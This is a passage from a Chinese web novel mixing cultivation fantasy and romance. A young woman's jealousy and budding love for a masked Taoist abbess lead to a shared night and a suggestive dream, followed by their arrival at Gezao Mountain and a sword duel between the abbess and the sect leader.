“虽然点评别人样貌不好,但她看上去已经四五十岁了,她有我年轻漂亮吗?” “那是假象,以她的天资不可能会难看。” “你是不是一定要袒护她?” “?” 傅清微气得直掉眼泪,背过身去不让她看见,穆若水后知后觉地把所有对话复盘了一遍,这才哦了一声,说:“你误会了,我没有袒护她。” “那你和人在下面卿卿我我。”傅清微也是第一次知道自己吃醋的时候会说出这种话,明明觉得她不会,但还是口不对心。 “没有卿卿我我,只是说了几句不重要的话。” 观主只会直给,但卓有成效。 傅清微已经被哄好了一半,嘀嘀咕咕自言自语。 穆若水来到她的面前,指腹擦掉她的眼泪,看着她的眼睛说:“我不会偏袒任何人,除了你。” 傅清微彻底被哄好了,附带心花怒放。 她抱紧了面前的女人,柔软的身体紧紧地贴住女人,反复将脸贴在她的颈窝,在穆若水耳边说:“我们不要分开好不好?” 穆若水环着她的腰的手一顿。 傅清微:“明天我去问阁皂派的人,能不能单独分一间偏僻的房给我们,我们就在山上住着,你不想见人可以不见,每天晚上都能看到月亮,我会每一天都陪着你。如果不方便的话,我们就在山下租个房子,还是每天住在一起,好不好?” 穆若水没有回答,手臂却不自觉地环紧。 开着的窗户传来咿咿呀呀的小曲,无非是些才子佳人、花前月下,亭台楼阁终成幻梦。 穆若水空着的另一只手轻轻地拍着傅清微的背,脸颊侧面唯一露出来的柔嫩肌肤贴了贴她的长发。 穆若水去洗澡了。 傅清微先上床一步,却没有心猿意马地想些黄色废料,而是在回味她在三楼看到院子里穆若水和老板聊天时的心情。 又酸又涩,像心脏结了一个青色的杏子,酸胀得让她的心现在都留有余味。 她以前看小说和电视,经常会有女主吃醋的情节,傅清微没有恋爱经历不明白,还以为是艺术加工,现在才明白那种一瞬间酸得想掉眼泪的感觉,半点都不夸张。 她好像真的……有点喜欢上观主了。 暧昧上头的感觉固然使人醺醺欲醉,结出来的青涩果实才让她有种踏到实地的感觉。 【女主A好像药丸了】 甘棠:【?怎么了】 傅清微:【女主A好像动心了,她可能真的喜欢上女主B了】 甘棠:【什么?女主A和女主B不是在谈了吗?】 傅清微:【[烟.jpg]】 甘棠:【开个玩笑,请问是什么契机让女主A意识到自己弯了呢?】 傅清微:【说起来有点话长,边缘性行为我们先略过不提,女主A今天吃醋把自己吓到了,眼泪说掉就掉,但女主B只是和陌生人说了几句话】 甘棠:【慢着!你先把前面的给我说清楚了,什么时候发生的边缘性!行!为!】 傅清微:【就今晚啊,不久前】 甘棠:【展开说说[耳朵][耳朵][耳朵]】 傅清微:【说完了啊,答案是略】 甘棠:【[黑糖全麦吐司尖叫扭曲.jpg]】 甘棠:【无所谓,我回去看最新更新[坚强的微笑.jpg]】 傅清微:【你有没有为一个人吃过醋?】 甘棠:【我有,高中暗恋的女生不喜欢我,和别人在一起了】 傅清微:【吃醋的感觉比做的感觉还要爽】 甘棠:【你下次做完全套再说这句话[别骚了收手吧.jpg]】 傅清微:【我喜欢这种心灵的余震】 甘棠:【你先慢慢震着,情窦初开的小女孩】 甘棠:【以后会有更多的世界向你打开,沾上爱情你就丸辣】 傅清微可可爱爱地复读:【丸辣】 甘棠没再回复,傅清微明显是兴奋了,刚刚陷入疑似初恋,威力有点大。 让她一个人慢慢消化去吧。 到底是爱情还是暧昧,抑或杂糅在一起自己也分不清。 傅清微靠在床头,手按在自己胸口的位置,感受着自己沉稳有力的心跳,比平时跳快了至少1/3。 好奇怪,但是又很新鲜。 她喜欢各种新鲜的体验,能给她带来肾上腺素的提升。 穆若水洗完澡出来了,红衣傩面,乌发垂腰,除了露出来的皮肤泛着饱含水汽的淡粉,和进去的时候一模一样。 虽然含也含了,醋也吃了,但她们还在闹别扭——观主单方面。 傅清微涌上脑袋的热血短暂地降温,心跳在渐渐恢复常速,矜持地喊了她一声:“道长。” 穆若水嗯了句,坐进了沙发里。 “你怎么不上床?” “哦,我等你睡了再睡。” “你不是这种人。”傅清微脱口道。观主什么时候考虑过她?不都是想睡就睡的吗?她的床,她的人,哪一样不是? “……” 穆若水面具下的嘴角僵了僵。 光从身形就看出对方的无语,傅清微找补了一句:“床挺大的,你上来睡吧,不影响的。” 穆若水不习惯和人同榻,即使一米八的床也不行。 “我去院子里。”穆若水起身便要离开,打算在院子里坐一宿。 “你不准去!” 一句话踩中傅清微的禁区,结在心脏处的青杏涨大,整颗心都被翻涌的酸意淹没。 她跳下床,反应激烈地拦在穆若水的面前。 唱曲声已经停了。 穆若水耳根动了动,说:“老板不在。”意思是这下你可以放心了吧? 傅清微更不放心了:“你那么关心她干吗?” 穆若水:“……” 她第一次觉得人类难懂。 左也不是,右也不是,她鲜少受制于人,也不会受制于人,于是将视线落在了身后的窗户上。 傅清微刚意识到她要做什么,眼前一闪,人就消失了。 她扑到三楼窗户前,穆若水已经坐在了院子里,霸占了老板的藤椅。 傅清微:“……” 急促的脚步声在楼梯响起,从三楼直下一楼,傅清微一身睡衣站在了凉如水的院子里。 “你不睡我也不睡。” “……怎么也不多穿件衣服?” “忘了,我回去拿。”傅清微出来得急,生怕老板比她来得快。 “走路太慢了,我去吧。” 傅清微仰起脸,看清了她是怎么飞上去,又怎么拿了衣服飞下来,已经不是武林高手能解释的了,如果在她脚下放把剑的话,她怀疑她会御剑飞行。 傅清微不无羡慕:“这个可以学吗?” 穆若水为她披上大衣,低头扣扣子,说:“你学不会。” “为什么?” “因为……”穆若水体贴地想了个借口,“她们都不会,自然教不了你。” 傅清微想问她能不能教她,但上次她斩钉截铁说不收徒历历在目,把话咽了回去。 “我自己来就行。” 穆若水在她面前蹲下来,好像也不觉得给她穿袜子是什么有损她威严的事,反倒是傅清微及时阻止了她,接过了她手上的羊毛袜,耳朵悄悄热了。 穆若水躺在老板的藤椅里,傅清微把凳子搬到她身边,和她在同一侧。 藤椅宽敞,一个人躺在另一个怀里,由她抱着绰绰有余,傅清微不敢肖想,能像现在这样并肩看一轮月亮已经满足了。 老板端着烤蛋挞开开心心走过来,老板停在门口欲言又止,老板气咻咻的走了回去。 傅清微不是一定要穆若水和她同床,可老板是穆若水除了她以外唯一愿意开口的人,她不放心。留她独自在外面坐着,她这一晚上也别想睡着觉了。 半小时后,傅清微打了一个喷嚏。 穆若水的坚持败北。 两人还是回到了房间,不得不共睡一张床。 ——观主绝不会委屈自己在沙发窝着。 被子是2.4*2.2,中间分开人均还有一米的宽度,穆若水只睡一长条,绰绰有余。 两人躺进被窝里,隔了两个人的距离,傅清微关了灯。 “晚安。” “嗯。” 窗外的月色好,透过窗户的格子投进来的月光别有一番古韵,索性就没有拉窗帘。 傅清微偏头看着穆若水头上长出来的两只角,嘴巴两边的獠牙,沉默了片刻,说:“道长,你睡觉的时候不考虑摘面具吗?” 穆若水闭着眼:“不考虑。” 傅清微故技重施:“我可以闭上眼睛不看你。” “……” 这是她今天第三次说这句话。 第一次穆若水亲了她的脖子,第二次穆若水低头含吻……她坐在她的腿上扭动,在她耳边轻啜,双眼蒙着水汽。 第三次穆若水也不知道会发生什么,总之她觉得风险比较大,不好说。 回想起刚刚,她一个指令一个动作地听傅清微摆布她的唇舌,穆若水像是做了一场荒诞的梦,久久才在沙发里回神。 和汲取她的气息不同,明显已经超过了“治病”的范畴。 她就要走了,好像这不应该。 可她就要走了,似乎该满足她最后的需求。 何况面对那样的香气,她根本无法拒绝她的要求。 “睡吧。”穆若水没有睁眼,也没有摘下面具,淡淡说道。 “那好吧,晚安。” “晚安。” 傅清微白天劳顿,入睡很快,枕边响起均匀的呼吸声。因为疲惫,比平时还要沉重一些。 清晰地传入穆若水的耳中。 离得太近了,近到每一次鼓膜都会收录,周围只剩下一种声音,枕边人的呼吸。 穆若水睁着眼睛,偏头看看她,面具确实阻碍视觉,只有两只漆黑的孔洞。穆若水把面具轻轻搁在床头柜上,睡不着干脆侧身将脸枕在胳膊上,一眨不眨地看着她。 她的双眼在黑暗里视物同白日无异,连她睡着时浓密的睫毛都数得清楚,因为躺着显得格外秀挺的鼻梁,抿成一线……不,是微微启开的唇,精致的下巴,曲线漂亮的颈项,到她造访过的地方,香气盈鼻。 “道长……” “嗯?”穆若水以为她醒了,定睛一看,只有嘴巴出声了,原来是在说梦话。 “你……亲亲我……” 声音含混又细小,几乎听不清在说什么,想也知道不是什么正经话。 穆若水暗骂了自己一声,忍不住想去听她说什么,于是凑近了她的唇去捕捉细碎的呓语。 “含一含……这边也要……” 第57章 傅清微做了一个梦。 梦里她又回到了那个沙发, 和穆若水面对面坐着。 她的眼睫仍然紧闭,感受着女人扑面带来的热潮和水汽。 空气里阴湿稠密得像雨天来之前,衣服上几乎可以拧出水来。 穆若水的脸埋了下来, 唇舌热切地亲吻她, 傅清微看不到, 只能用手摸上她的耳朵和侧脸,不敢用力, 于是胸腔里的饱胀感纾解不了万一, 剧烈的心跳几乎能传到女人薄唇。 她跪坐在她的腿上,只能用力地抱紧她, 紧紧地抵住磨蹭。 “道长……” “嗯?” 梦里的傅清微比现实里争气多了, 可能是现实经历了一遭,所以她在女人怀里蹭了一会儿,仍有余力地要求她。 “含一含。” 她喜欢她的唇间的热度, 裹挟住她, 好像被爱意包围。 热意和高温袭来。 傅清微仰起脖颈又被体贴地托住,女人的指腹落在她的侧颈,温柔地安抚。 含混的声音从唇缝的间隙泄露出来。 “乖。” 傅清微的手失了力气, 只能搭在她的肩膀,随着她的亲吻摇曳,任何一阵风都能使她战栗,低低的啜泣。 她们在沙发上亲了许久, 冷落的地方都被照顾到,穆若水撩开她颈间的长发, 蜻蜓点水地啄吻, 平息着她紊乱失序的呼吸。 “道长……” “嗯?” 傅清微很乖地闭着眼睛,眼前连条束带都没有, 她早可以食言,相信这时候穆若水也不会有心情怪她。 但她就是规规矩矩地合着眼,问她:“你的手在哪儿?” 穆若水一只手在抱她,另一只手垂在身侧,她将空着的右手抬起来,放到她手里:“在这里。” 傅清微牵着她的手,放在她的唇刚刚离开的地方,说:“下次你可以放这。” “噢。” 傅清微包住她的右手手背,稍稍带了一点按揉的力度,说:“像这样。” 她又把脸深埋进女人的肩头,气息扑洒在穆若水的颈窝。 “好,下次一定。” 穆若水牵起她的手,亲了亲她的手心。 “再亲一会儿吧。” “好。” …… 安静的房间里,只能听到傅清微不时细碎的呓语,含混而细小,换个耳力差一些的,即使凑到她唇边都未必听得清,可惜穆观主耳力不同常人。 都是些没营养的梦话,好半天才响起来一句,穆若水听了大半个夜晚。 傅清微睡相如何不详,先前在家睡沙发的时候因为地方窄,她没有折腾的余地,现在换了大床,她的睡相…… 据穆若水的观察,不算太坏,可能和她做的梦有关,倒是大部分时间有点紧绷,就像在她怀里那样,抗拒但抵不过喜欢,俗称的欲拒还迎。 被子盖到腰部以上一点儿,身前的纽扣被她无意间蹭开了一颗,薄薄的布料遮不住身体的变化。 穆若水都有点恨自己这么好的视力,连枝头挂红果的细节都能窥清。 刚说到她睡相好,傅清微便朝她的方向侧过来,宽松的衣领滑落大半,毫无防备正对穆若水的脸。 冲击不可谓不大。 “……” 她该早点睡的。 这下可能彻底睡不着了。 傅清微在梦里轻微地皱着眉头,许久没有发出一点声音。 穆若水松了一口不存在的长气。 她伸手替对方掖好被子,短短长长的春光被掩在其中,穆若水睁大的眼睛慢慢恢复到正常大小。 穆若水闭上眼睛,足足一个小时,好不容易有了困意。 怀里滚进一具温热的身体。 “……” 穆若水惊醒低头一看,衣服还开着,纽扣又少了一颗。 “!!!” * 傅清微断断续续地发了一晚上梦,她只有发烧感冒的时候会频繁做梦,醒过来的时候脑子久违的一片混沌。 枕边的女人早已不见踪影。 傅清微回想起梦的内容,按了按自己饱胀的左心房,心脏还会因此怦怦直跳,这个梦未免过于真实。 她曲起长腿,一动不动地躺了许久,才异常沉默地起来洗澡。 认真地算起来,这应该是她人生中第一次做这么活色生香的梦,还是睡在当事人身边。 可不正是因为睡在当事人身边,才更容易做这种梦吗? 傅清微收拾行李的时候满打满算带了一周的换洗衣物,内衣裤也是成套的,现在她才刚到一天,已经换了三次。这样下去要没有内裤换了。 今天要上山,换下来的衣物没时间晾干,傅清微只好暂时收起来等在阁皂山安顿下来再处理。 原样叠好放进收纳袋的时候,傅清微觉得自己像个变态。 即使她是被迫的。 洗漱完之后她仍然觉得不太舒服,锁好卫生间的门照镜子。 不知道是不是她的错觉:她总觉得两边不一样大了。 * 一楼种满花的院子里。 穆若水坐在藤椅里,看似悠闲地呷了一口凉茶。 她仰起脸看看三楼紧闭的窗户,舌尖抵在牙齿上来回舔舐,不知道在回味什么。 茶不错吧可能。 放下道德遵循本能,本来就是她应该做的,她只是做了她想要的事。 穆观主短暂地说服了自己。 “老板,再来一壶茶。” “三百!”老板没好气道。 “刷卡。” 穆观主掏出卡豪气干云,老板走过来,阴阳怪气:“不好意思,没有pos机,只支持支付宝和微信。” 土老帽,刚下山只知道刷卡,不知道哪部三十年前老电影学的,都过时了! 下一秒穆观主掏出手机:“哦,我也有微信的,扫码。” 老板:“……” 老板气咻咻地给她泡了一壶茶。 “下一壶一千!” “一千就一千!”反正岁已寒有钱。 两个老大不小道行深不可测的人在院子里幼稚地斗起了嘴。 院子里的声音很快传到楼上,傅清微噔噔噔的下楼。 老板幸灾乐祸:“你的小情人又要吃醋了。” 穆若水哼哼一声。 傅清微一下来,穆若水开口就向她告状:“刚刚一壶茶她收了我三百,我在和她争执。” 傅清微扭头,门口的小白板明码标价,一壶碧螺春是158元。 老板:“你也太不要脸了。” 傅清微把自学成才的小白花道长挡在身后,说:“请问老板您是不是收了她三百?” 老板:“行了行了,我把钱退给她还不行吗?” 傅清微玉指纤纤指着她:“你坐地起价,态度怎么敢这么差?给她道歉!” 老板这暴脾气,多少年没遇到敢和她叫板的:“我就这态度,你能把我怎么样?!” 傅清微掏手机:“你等着,我打12315举报你。” 老板:“……” 傅清微:“喂,你好,12315吗?我要投诉……” 老板咬牙切齿:“对、不、起。我不该坐、地、起、价。” 凡间一点都不美好! 傅清微收起手机,让穆若水把收款码调出来,递过去说:“退钱。” 老板含恨退了142元。 傅清微牵着穆若水的手离开了。 穆若水还回头看了老板一眼,戴着面具都能透出那副得意洋洋的样子。 老板气得差点化出原型。 有人撑腰了不起啊?在自己面前秀什么秀? 穆若水回到房间,简直像大胜而归,坐在沙发里看傅清微收拾行李,亢奋地换了两次坐姿,左腿叠右腿,右腿叠左腿。 “12315是什么?” “消费者投诉热线,如果碰到奸商就可以打电话举报。” “政府吗?” “算是吧。”傅清微把装着内裤的收纳袋收进最底下,问她说,“你为什么多给她钱?” 傅清微又不是傻子,阁皂山安排的住宿,背后是占英授意,老板怎么会是个明目张胆的奸商?再说那块标价的牌子就在墙上,是个人都看得到,除非观主不识字。 她也不是会吃哑巴亏的人,没把老板弄死已经很好了。 穆若水眼神闪躲,好在她戴了面具看不到。 “唔。”她在想找个什么借口。 “你和她是不是……”傅清微在心里冒酸泡泡,“有我不知道的共同的秘密。” “是。” “和你们的身份有关?” “……是。” “那我先不问了。”傅清微压下醋意,把衣服分门别类的收纳袋翻得乱响发泄,又重新整理。 傅清微就知道。 观主非凡人,老板多半也是修行人士,阁皂山好歹是道教名山,山脚下卧虎藏龙又有什么稀奇? 等自己修了道,她也会和自己说这些事吗? 傅清微所不知道的是,穆若水并不会因为她踏入修行者的世界而改变心态,只会因为她们关系的质变而彻底扭转想法。她想要得到的,很快会十倍百倍的报偿给她。 老板终于送走了穆若水这个瘟神,喜得当场点了一挂鞭炮。 身后噼里啪啦响起来爆竹声。 穆若水推着行李箱回头看,问来接她们的肖师侄:“老板这是怎么了?” 换上深蓝道袍、挽了道髻的肖师侄说:“我也不知道,我也带好几次客人过来了,第一次见老板放鞭炮。” 而且还笑得非常开心。 肖师侄抓了抓后脖颈:“可能和你们相处得很愉快吧。” 傅清微:“确实有人和她处得很愉快。” 她看了眼身旁的穆若水,不知道是谁走时还和老板说了“再见”。 她在自己面前消失的时候可是一句话没说过。 傅清微磨了磨后槽牙。 * 早上八点。 阁皂山景区大门打开,虽然是旅游淡季,但以本国的人口密度,是找不到一个地方完全没有游客的。 旅游大巴停在景区停车场,今天刚好有一个夕阳红旅游团,一色儿小红帽,七点五十就在门口集合了,导游挨个收身份证去售票窗口买票,大妈大爷们都十分配合。 这时旅游团里的一位大妈指着傅清微一行人,用北方港口的口音道:“为嘛塔们就能直解进去呢?” 肖师侄闻声回头笑道:“您好姐姐,这是我家。” 大妈看清她身上道袍,又看看她脸,笑得合不拢嘴,对身边的同伴说:“哎哟,你看这小姑娘倍儿耐人儿。” 傅清微也回头了。 大妈换了个词感叹:“妈呀,这姑娘可真俊。” 穆若水本来走在前面,见傅清微停下来,跟着走回来,一张青口獠牙的面具对着旅游团。 大妈张了一下嘴,话掉地上了:“……呀。” 三人一行赶在景区开门前进去了,肖师侄怕傅清微二人跟不上,故意放慢了脚程,谁知道那两个人走得比她还快,只好提速,保持在平均水平。 身为东道主,肖师侄在前面带路的同时不忘给她们介绍:“除了我们要去的最高的凌云峰,整座山还有骆驼、太极、丁仙等,只有少部分被开发为景点,其他的都由本门弟子分散而居。” “肖道长住在哪里?” “我住在骆驼峰。” “偏僻吗?” “稍微有一点,不过治安你不用担心,道门重地,没人敢擅闯。实在不长眼,我们都略通一些拳脚。”肖师侄以为她担心的是这个,毕竟是独居女性,荒山野岭,多少会担忧人身安全。 “那就好。”傅清微说。 “啊?” 凌云峰海拔八百米,是阁皂山境里最高峰,傅清微爬到半山腰的时候,已经能够看到大多数的山峰,早晨雾气凝结,云山环抱,诸峰在云雾里若隐若现,一条彩带依山带水,原是峰顶披落的霞光。 周遭空无一人,置身山林,如斯情景,白雾缭绕,宛如仙境。 傅清微不由地站在原地出神。 肖师侄循目望去,挺直腰杆,难以掩饰的自豪。 连穆若水也停下了脚步,悄悄松了面具,感受扑面而来的清风。 阁皂山被称为“天下第三十三福地”,人杰地灵,名不虚传。 傅清微注意到穆若水的动作,心想:她留下来的可能性是不是更大了些? 路过千年银杏树,傅清微停在一座汉白玉的牌楼前,仰头看着上金色浮雕的四个大字,在日光下眯眼认出来,一字一字郑重念道:“灵宝宗坛。” 阁皂山,这里就是上清灵宝派总坛。 傅清微来之前恶补过许多道教知识,如今亲眼得见,即使尚未入门,也升起一种浩荡崇敬之心,在胸怀激荡。 肖师侄也仰脸望过去,说:“龙虎山正一宗坛,茅山上清宗坛,还有一个就是我们,阁皂山灵宝宗坛。本门从东晋葛仙师就存在了。” 千年传承的门派岂会因一时的没落而黯淡,每一个阁皂山的门人都对师门有一种强烈的归属感和自豪。 傅清微:“我知道,天下符箓三山赫赫有名,上清箓我从占科那里见识过,非同凡响。” 穆若水听不得这些。 商业互吹。 她率先往前走了。 傅清微也无暇再去感叹,连忙追了上去。 “道长!” 大万寿崇真宫、昊天殿、祖师殿……一层一层地穿梭过去,三道身影行走如风。 傅清微忽然停下脚步,被人山人海的道士震慑住。 阁皂山这么多人的吗? 这些道士都穿着初级的蒲衣道袍,颜色是蓝色,乍一看和肖师侄身上的有点像,但肖师侄的道袍质地明显不同,像是丝绸制成,银线勾勒花纹。 肖师侄也愣在原地,拍了拍自己的脑门说:“我忘了,今天有传度大会。” “传度大会?” “现在有很多人想出家,就会来山上找师傅拜师,不一定是为了学艺,修身养性吧。传度就是入道前的一个仪式,因为人比较多干脆集中起来一起办了。” “他们都会踏入修行界吗?”那这样看起来阁皂山人丁兴旺。 只是…… 傅清微看着大部分人明显不太强健的身体,有的鼻梁上架着瓶盖一样厚的眼镜,还一直在玩手机,这样也可以修道吗? “怎么可能?”肖师侄说,“有真本事的道长收徒都很严苛的。” 她悄悄放低了声音,说:“他们平时住宿舍,和我们不在一起。” 傅清微明白了。 各有各的缘法,自洽就行。 道士都是道士,没有真假之说,只是就像穆若水所说的,如今虽有很多道士,能练出炁的,十不存一。 肖师侄一行路过的时候,即将入道的小道士们都看过来,眼睛里写满了迷茫不解,对这个世界的真相,半点都不清楚。皆是名为道士的凡人。 三人一行穿过了最后一道殿门,面前就没有建筑了。 肖师侄掏出一道符,口中念念有词。 傅清微见过这阵仗,当时进灵管局也是这样,想必阁皂山也有迷阵,为了防止游客误入。 肖师侄一笑,说:“好了。” 小路还是那条小路,但周围的声音好像突然都静了下来,景区再安静也有景区的浮躁,如今似乎都没了,连流过肺腑的空气都充盈着干净清澈的气息。 傅清微走了一段路,看到了一片在凌云峰顶的建筑群,首屈一指的是祖师殿,宏伟壮观。 又一个祖师殿。 又一个灵宝宗坛,和方才那个牌楼一模一样,只是少了游客到此一游的划痕,常年有弟子清洗,汉白玉在阳光下光华夺目。 站在汉白玉铺就的广场上,穿梭来往的都是道袍飘飘的修士,束发盘髻,有的在练剑,有的掷出一张黄符,火焰凭空爆燃,倒映在傅清微灿灿的琥珀色眸子里。 傅清微看得入迷,问身旁的肖师侄:“你们这里的人,会御剑吗?” 她好像来到了修仙小说的世界。 肖师侄大笑,说:“笑死,根本不会。骗你的,要不我叫人给你御一个?” 傅清微不知道她说话真假,被她逗得一愣一愣的。 肖师侄冲练剑的人喊了声“师兄”,说:“表演一个御剑。” 师兄停下来,说:“你没事吧?没事就吃溜溜梅。” 控火的那个师姐走过来,说:“灵秀回来了,可惜脑子瓦特了。这位就是贵客吧?我们阁皂山很久没来新人了,送你张符,当做见面礼。” 傅清微双手接过符:“谢谢师姐。” 师姐说:“姓周。” “谢谢周师姐。” “真乖,是个小师妹呀。” 穆若水在面具底下黑了脸,然而无人看得见。 周师姐摸了摸肖灵秀的脑袋瓜,说:“掌门她们在后殿,已恭候多时了。” “真的吗?那我得赶紧带人去了。” 广场中央有一个巨大的太极图案,九根汉白玉雕的柱子盘龙画凤,傅清微站在祖师殿的台阶往下看,不仅是近处的黑白太极,远处的缥缈仙山也尽收眼底。千年底蕴非同一般。 穆若水瞟了瞟她,没有说话。 肖灵秀回头喊道:“傅小姐?” 傅清微从壮阔宏伟中回神,快步跟上。 阁皂派的掌门姓尘,道号灵枢子。完全符合傅清微对一个德高望重的掌门的想象,看上去年纪在四五十岁,样貌不算太美,但是大袖飘飘,举手投足自有仙风。 和岁主任给她的感觉有点像,但岁主任更强势一些,可能坐高位坐久了。 灵枢子身为一派掌门,面对神秘的慈让真人,也不可能像占英等人一样姿态放低,只是尊敬地拱手一礼:“无量寿福,穆道友慈悲。” 穆若水点了点头。 这已经是她对凡人的最高礼仪。 灵枢子并不见怪,她们当道士的主打一个任性,总有些脾气古怪的。彼此都不熟,那就别热脸贴冷屁股,免得道心破碎。 几位长老也默契地忽略了她。 一起将目光投在了傅清微身上:“你就是占英说的傅小友吧?” 傅清微同时对上好几双眼睛,男女老少都有,笑眯眯的,仿佛羊入虎口。 傅清微不禁后退了一步。 灵枢子说:“小友见谅,我门中实在太久未有新鲜血液了,一时激动了些。” “为、为什么?” “主要是……”灵枢子摸了摸鼻梁,说,“懒得教一些蠢货。” “……”好像找到阁皂山门徒凋敝的原因了。 “既然你是占英推荐的,相信肯定过于常人,我们几人商量过了,有意向收徒的都在这里,你每位师父都跟一段时间,挑一位适合你的,也可以挑个两位三位,只要你不嫌累。” “掌门也可以吗?” 灵枢子一愣,想了想,说:“可以,我擅长使剑。” 傅清微看向她背负的长剑,多停留了好几秒,好帅。 “好。” 灵枢子:“我要去练剑了,你和其他长老聊吧。” 傅清微下意识说:“恭送掌门。” 灵枢子没忍住笑:“哎,不用这样,我们这里很自由的,以后你就习惯了。拜拜。” 傅清微不由地一笑:“掌门拜拜。” “这就对了。” 穆若水的脸黑如锅底。 傅清微察觉到什么,看了看她的面具,但她又没有透视眼,怎么知道她现在脸是黑的。 于是她看着灵枢子离开的背影,眼睛快出现小星星。 灵枢子往东边的门走去,太极道袍凌风,身负长剑,宛如仙人。 “尘掌门。”身后传来陌生的一道女声。 灵枢子回头。 穆若水特意给了她反应的时间,待她看清自己以后才一脚蹬地,以迅雷不及掩耳之势向她攻去。 灵枢子千钧一发解剑,剑鞘横在身前,硬生生抗住她一双肉掌,脚下的石砖却承受不了这种力道,一直崩裂到三尺开外,土石飞扬,她的人也跟着倒退了两三步才站稳。 傅清微的视线落在那道红衣身影上,呆呆的合不上嘴。 这好像是她第一次见穆若水真正意义上的出手。 她一直知道她很厉害,从岁主任等人的态度可见一斑,但她平时都是挥一挥手就解决了,以至于她对观主的实力一直很模糊。 背负长剑的灵枢子身为名震玄门的一派之长,竟然在她手下被一掌逼退。 ——虽然可能两人都未尽全力。 等等,刚刚她好像听到了两声碎裂。 傅清微低头看向脚边四分五裂的砖石,是穆若水离开时站的地方。这得是什么力道? 傅清微用力踩了踩地面,纹丝不动。 几位长老也在踩地,有位白胡子长老跳起来跺地,一丝裂纹也没出现。 “完啦,这回碰到硬茬了。” “掌门打得过吗?” “打不过就认输嘛,只要咱们都不说出去,谁知道?” “就是就是。” 傅清微:“……” 她一抬头,几位长老都瞧着她,统一战线就差一个缺口。 傅清微心领神会:“我肯定也不会说出去的!” 一位长老点点头拉过她的胳膊,说:“我们离远点看热闹,别伤到自己。” 傅清微就这样被拉到了墙角,还贴心地被各位长老保护在身后。 傅清微伸长了脖子往外看,穆若水侧对着她,负手而立,脸上依然戴着面具,山风灌满她鲜红的衣袖,墨发在脑后拂动。 傅清微看不见她,却仿佛能够猜到她的表情,轻描淡写中带着目下无尘的张狂,熟悉而令人心动。 “你既然擅长用剑,那就拔剑吧。” 第58章 光可鉴人的汉白玉广场上雨后春笋般长出了许许多多的道士。 有的蓝袍, 有的青袍,还有黑白太极袍的,不分长幼, 步履轻盈, 拾阶而上, 齐齐往三清殿的方向赶去。 乍一看飘飘如仙,实则争前恐后你追我赶, 生怕去晚了就看不到热闹。 肖灵秀通知完门人一马当先地冲了回来, 还好还好,还没开打。 几位长老看着涌进来的弟子潮, 仍为自己门下居然能聚集这么多人感到震惊, 以及这群弟子也太爱吃瓜了吧,怪不得不好好练功。 长老们赶紧抢占了最好的观看位置,没忘记捎上傅清微。 三清殿前裂了几块石砖的空地外围陆陆续续站满了人, 有人练功练到一半, 不知道发生什么事就被叫过来了,持符的、背剑的,手里拿着药葫芦的, 宛如斗仙大会。 “怎么回事怎么回事?有人来挑山门吗?”一位弟子探头探脑地往里挤。 “别挤啦别挤啦,来晚了就听转播吧。” “刺激啊,好久没有这种热闹看了。” “什么啊,明明是比武招亲。” “听说掌门要强抢民女。” “什么——???” 比武招亲的主角正站在空地中央, 气势凌然。 灵枢子缠满布条其貌不扬的长剑握在手上,剑未出鞘。 穆若水的左手自然垂在身侧, 右手则拿了一根随手折的树枝。 逼格高下立见。 “她好狂, 我好爱。” “姐姐冲啊,应该是姐姐吧?” “笑死, 能不能给掌门点面子?” “掌门放心飞,输了自己背!” 肖灵秀藏在人群里说了一句,在长老的目光扫过来之前把头又低了下去。 傅清微身为“比武招亲”的女主角,占据了最好的地理位置,在人群最前面,身后吃瓜的议论声不断传来。 旁人说什么传不进她的耳朵,她的注意力只集中在不远处的红衣身影上。 ——你既然擅长用剑,那就拔剑吧。 离刚刚的宣誓比试已经过去了十几分钟,在这十几分钟内傅清微的心已经动了不下十几次。 在她一掌逼退掌门之时,在她轻描淡写地邀请对方切磋之时,在她放弃用掌决定比剑,就像小说里的绝世高手,飞身上树折断了一根树枝下来之时。 傅清微的下巴跌落几次,就心动了几次。 虽然中二,但是架不住真的帅啊,开屏闪瞎人眼。 幻想照进现实,观主无所不能。 在穆若水说出让尘掌门拔剑的那一刻时,傅清微就没有想过她会输。 放在别人身上是自负,在她身上是有底气的狂妄,哪怕对方是名动玄门的灵枢子掌门。 阁皂派的弟子调侃归调侃,实际也没有一个人觉得掌门会输。 他们连对方是谁都没问过,打赢了再问也来得及。 场中默契地同时静了。 风流过二人的发丝。 灵枢子抱剑拱手一礼:“道友,请赐教。” 穆若水点了点头,站在原地不动,等她攻来。 灵枢子动了,长剑仍未出鞘,剑鞘直指面门,她用树枝,自己用剑已是不公平,所以不到必要,绝不出鞘。 穆若水不喜欢废话,往手上的树枝注入真气,剑气如虹,摧山倒海,一个照面逼得她长剑直接出鞘。 雪亮剑光映上薄薄的眼皮,比正值中天的日光还要耀眼。 “掌门居然拔剑了。”一名弟子呆呆道。 “而且她只用了一招……”刚刚还在让掌门输了自己背的肖灵秀呢喃,完了完了,自己该不会乌鸦嘴了吧。 穆若水擅长的并非剑法,从前可能是,但以她现在的身体强度,无需任何外力,仅凭一双肉掌就可以横行天下,捏死任何一个人。不用剑,她会赢得更快。 但打架分为打得好看的,和实用但是打得一般好看的,穆若水选择前者,哪怕要多费些功夫。 谁让傅清微那么肤浅,浸淫武侠小说多年,看到长剑就走不动道,眼睛亮闪闪,恨不得立刻拜灵枢子为师。 哼,她就用剑赢过对方。 看她还有什么话说。 穆若水手里握的虽然是树枝,但是罡气外化包裹在树枝表面,和摧金断玉的神兵利器没有差别。灵枢子那柄剑是传承的古剑,本就是神兵,再注入真气,实力立刻上了几个台阶。 日光被牵动引入剑中,化作白虹,剑光隐隐带出青色,眨眼间出手便是三道剑气。 穆若水用树枝和她交上了手。 几个回合过后,她就知道阁皂山的千年传承不虚,论剑招的精妙并非她个人自创的剑法可以匹敌。 但穆若水的修为实在深不可测,一力降十会,化解不了的剑招凭实力硬破。 而且她太快了,快到常人难以想象的地步。 天下武学唯快不破,假如一个人足够快,她能躲避所有招式。 灵枢子很久没有这种束手无策的感觉,明明看到破绽却抓不住,明明可以再进一步却被霸道的罡气挡回来,她一剑刺去,不是泥牛入海,而是蚂蚁之于巍峨高山,仰脸望不到峰顶。 一个攻,一个守,攻的那个华丽剑招频出,穆若水看起来只是游刃有余地挥动了几下树枝,便化解了攻势。 只有穆若水知道自己剑招不如她,大巧若拙,干脆只防守,以不变应万变。 但表现在其他人眼里就是,她好狂,但是确实该她狂。 她到底是谁? 灵枢子默念咒语,长剑周身的白光渐渐凝聚,原本青色的剑身通体雪色,甚至凝结出了一层实质可见的雾气。 